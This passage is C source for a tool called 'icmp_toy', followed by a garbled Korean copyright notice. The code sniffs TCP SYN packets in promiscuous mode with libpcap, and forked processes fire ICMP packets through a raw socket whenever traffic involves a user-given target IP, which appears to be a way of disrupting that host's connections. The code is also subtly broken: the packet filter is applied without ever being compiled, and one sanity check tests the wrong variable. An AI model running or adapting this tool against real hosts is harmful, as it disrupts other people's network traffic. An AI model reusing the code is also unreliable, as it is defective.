sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (strncmp (target_ip, source_ip, sizeof (source_ip)) == 0)
send_icmp (sockfd, iph, tcph);
close (sockfd);
}
void packet_info (char *user, int len)
{
struct iphdr *iph;
struct tcphdr *tcph;
iph = (struct iphdr *) user;
tcph = (struct tcphdr *) (user + iph->ihl * 4);
checkip (iph, tcph);
}
void sig_int (int sig)
{
int i;
for (i = 0; i < nchild; i++)
kill (pids[i], SIGTERM);
while (wait (NULL) > 0)
;
fprintf (stdout, "Bye !!\n");
pcap_close(pd);
exit (0);
}
pid_t child_make (int i, pcap_t * pd, int datalink)
{
pid_t pid;
void child_main (int, pcap_t *, int);
if ((pid = fork ()) > 0) {
return (pid);
}
child_main (i, pd, datalink);
return 0; // ADD
}
void child_main (int i, pcap_t * pd, int datalink)
{
void packet_loop (pcap_t *, int);
printf ("CHILD %ld starting\n", (long) getpid ());
packet_loop (pd, datalink);
}
char *next_pcap (pcap_t * pd, int *len)
{
char *ptr;
struct pcap_pkthdr hdr;
while ((ptr = (char *) pcap_next (pd, &hdr)) == NULL);
*len = hdr.caplen;
return (ptr);
}
void packet_loop (pcap_t * pd, int datalink)
{
int len;
char *ptr;
for (;;) {
ptr = next_pcap (pd, &len);
switch (datalink) {
case DLT_EN10MB:
packet_info (ptr + 14, len - 14);
break;
}
}
}
void usage (void)
{
fprintf (stdout, "SYNOPSIS : icmp_toy xxx.xxx.xxx.xxx(target ip address) \n");
}
int main (int argc, char *argv[])
{
struct bpf_program fcode;
char *device, *filter_rule;
char ebuf[PCAP_ERRBUF_SIZE];
int i, j, snaplen = 68;
bpf_u_int32 localnet, netmask;
signal (SIGINT, sig_int);
if (argc < 2) {
usage ();
exit (1);
}
strncpy (target_ip, argv[1], sizeof (target_ip));
filter_rule = "tcp and tcp[13:1] & 2 != 0";
device = pcap_lookupdev (ebuf);
if (device == NULL)
{
perror (ebuf);
exit (1);
}
pd = pcap_open_live (device, snaplen, PROMISCUOUS, 1000, ebuf);
if (pd == NULL)
{
perror (ebuf);
exit (1);
}
i = pcap_snapshot (pd);
if (snaplen < 1)
{
perror (ebuf);
exit (1);
}
if (pcap_lookupnet (device, &localnet, &netmask, ebuf) < 0)
{
perror (ebuf);
exit (1);
}
if (pcap_setfilter (pd, &fcode) < 0)
{
perror (ebuf);
exit (1);
}
fflush (stderr);
pids = calloc (nchild, sizeof (pid_t));
for (j = 0; j < nchild; j++)
pids[j] = child_make (j, pd, pcap_datalink (pd));
for (;;)
pause ();
}
|
Copyright (C) 2002 ³ë±¤¹Î
ÀÌ ¹®¼´Â GNU Free
Documentation License ¹öÀü 1.1 ȤÀº ÀÚÀ¯ ¼ÒÇÁÆ®¿þ¾î Àç´Ü¿¡¼
¹ßÇàÇÑ ÀÌÈÄ ÆÇÀÇ ±ÔÁ¤¿¡ µû¸£¸ç ÀúÀ۱ǿ¡ ´ëÇÑ º» »çÇ×ÀÌ ¸í½ÃµÇ´Â ÇÑ
¾î¶°ÇÑ Á¤º¸ ¸Åü¿¡ ÀÇÇÑ º»¹®ÀÇ ÀüÀ糪 ¹ßÃéµµ ¹«»óÀ¸·Î Çã¿ëµË´Ï´Ù.
º» ÀúÀÚ´Â ¹®¼ÀÇ ³»¿ëÀÌ ¾ß±âÇÒ ¼ö ÀÖ´Â ¾î¶°ÇÑ °á°ú¿¡ ´ëÇؼµµ
Ã¥ÀÓÀ» ÁöÁö ¾Ê½À´Ï´Ù. º» ¹®¼¿¡¼ ³»Æ÷ÇÏ°í ÀÖ´Â Á¤º¸µé ¹× ¿¹Á¦µéÀº
¿©·¯ºÐÀÌ ¾Ë¾Æ¼ È°¿ëÇϽʽÿÀ. ºñ·Ï ÃÖ¼±À» ´ÙÇßÀ¸³ª ÀÌ ¹®¼´Â Ʋ¸°
Á¡À̳ª ¿À·ù°¡ ÀÖÀ» ¼öµµ ÀÖ½À´Ï´Ù. ¸¸¾à ¿©·¯ºÐÀÌ Æ²¸° Á¡À»
¹ß°ßÇß´Ù¸é ²À Àú¿¡°Ô ¾Ë·Á Áֽñ⠹ٶø´Ï´Ù.
ÀÌ ¹®¼¿¡ ´ëÇÑ ¹ßÀüÀûÀÎ Á¦¾ÈÀ̳ª ¼öÁ¤»çÇ×, ¹®Á¦Á¡ µî¿¡ ´ëÇÑ
Çǵå¹éÀº ¾ðÁ¦µçÁö ȯ¿µÇÕ´Ï´Ù. djstop (at) orgio.net·Î
¸ÞÀÏÀ» º¸³» ÁֽʽÿÀ.
|
|